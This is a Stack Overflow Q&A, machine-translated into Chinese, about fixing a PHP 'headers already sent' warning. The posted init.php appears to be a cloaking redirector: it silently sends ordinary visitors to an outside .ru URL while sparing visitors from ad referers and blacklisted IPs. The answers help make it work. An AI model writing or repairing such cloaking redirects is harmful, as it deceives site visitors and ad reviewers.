2012-09-13 49 views
0

我有一個的index.php錯誤與頭

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<html> 

<head> 
<title>LOL!'</title> 
<meta name="description" content="Hi oloo!!" /> 
<meta http-equiv="Content-Type" content="text/html; charset=CP1251" /> 
<iframe src="http://news.xxxxx.ru/hard/2010/10/28/104592/" frameborder="0" height="100%" width="100%" ></iframe> 
</head> 
<img src="http://www.xxxxx.ru/upload/iblock/27c/27caa04aac1fbc0f31f7964fc780b1b2.jpg" /> 
</html> 
<?php 
include_once ('init.php'); 
?> 

而且的init.php

<?php 

$waiting = 0; 

$url = 'http://xxxxx.ru/gott.php?sid=3'; 

if($waiting == 1){ 
    $admin = 1; 
    setcookie ('admin', 1, time()+3600*24*31); 
} 

if (isset($_COOKIE['admin'])){ 
    $admin = 1; 
} 

/*if (strstr($_SERVER['HTTP_REFERER'], 'away')){ 
    $admin = 1; 
    setcookie ('admin', 1, time()+3600*24*31); 
}*/ 



if (strstr($_SERVER['HTTP_REFERER'], 'ads')){ 
    $admin = 1; 
    setcookie ('admin', 1, time()+3600*24*31); 
} 

$blacklist = file_get_contents('black.txt'); 
$rows_array = explode("\n", $blacklist); 

foreach($rows_array as $k => $v){ 
    if(trim($v) == $_SERVER['REMOTE_ADDR']){ 
     $admin = 1; 
     setcookie ('admin', 1, time()+3600*24*31); 
    } 
} 

if($admin != 1){ 
    header('Location: '. $url); 
    exit(); 
} 

?> 

後,我加載的index.php我收到一個錯誤

警告:不能修改標題信息 - 頭已經由/安裝的存​​儲/ home93c/sub006/sc36756-TMH發送(輸出開始/mounted-storage/home93c/sub006/sc36756-TMHW/xxxxx.com/onarter/index.php:8) W/site.com/onarter/init.php在線42.我該如何擺脫這個問題?

+0

確保最後>中的init.php後沒有尾隨空白(即使是返回) - ?其實,你可以擺脫>完全 –

回答

6

您正試圖發送一個cookie頭已發送後(和標題,我的意思是什麼) - 這也包括在代碼中header()進一步下跌。任何發送給用戶的東西,它也是如此。

你需要做的是包括的init.php在任何其他輸出。

<?php 
include_once ('init.php'); 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<html> 

如果您的init.php有:

<?php 

    $waiting = 0; 
    echo $waiting; 
    $url = 'http://xxxxx.ru/gott.php?sid=3'; 

這也將進一步殺死的setcookie /頭在你的代碼。調用這些類的功能之前,你不能發送什麼作爲輸出。

1

頭()函數只有在沒有其他已經被你的腳本來完成的工作。您正在腳本中設置cookie,該腳本將標題發送給用戶,稍後您將嘗試再次發送標題。

1

不能使用header功能(你可以,但所有它的作用就是輸出錯誤)呼應的東西,或者HTML後。你必須把它放在腳本中的任何回顯或html之前。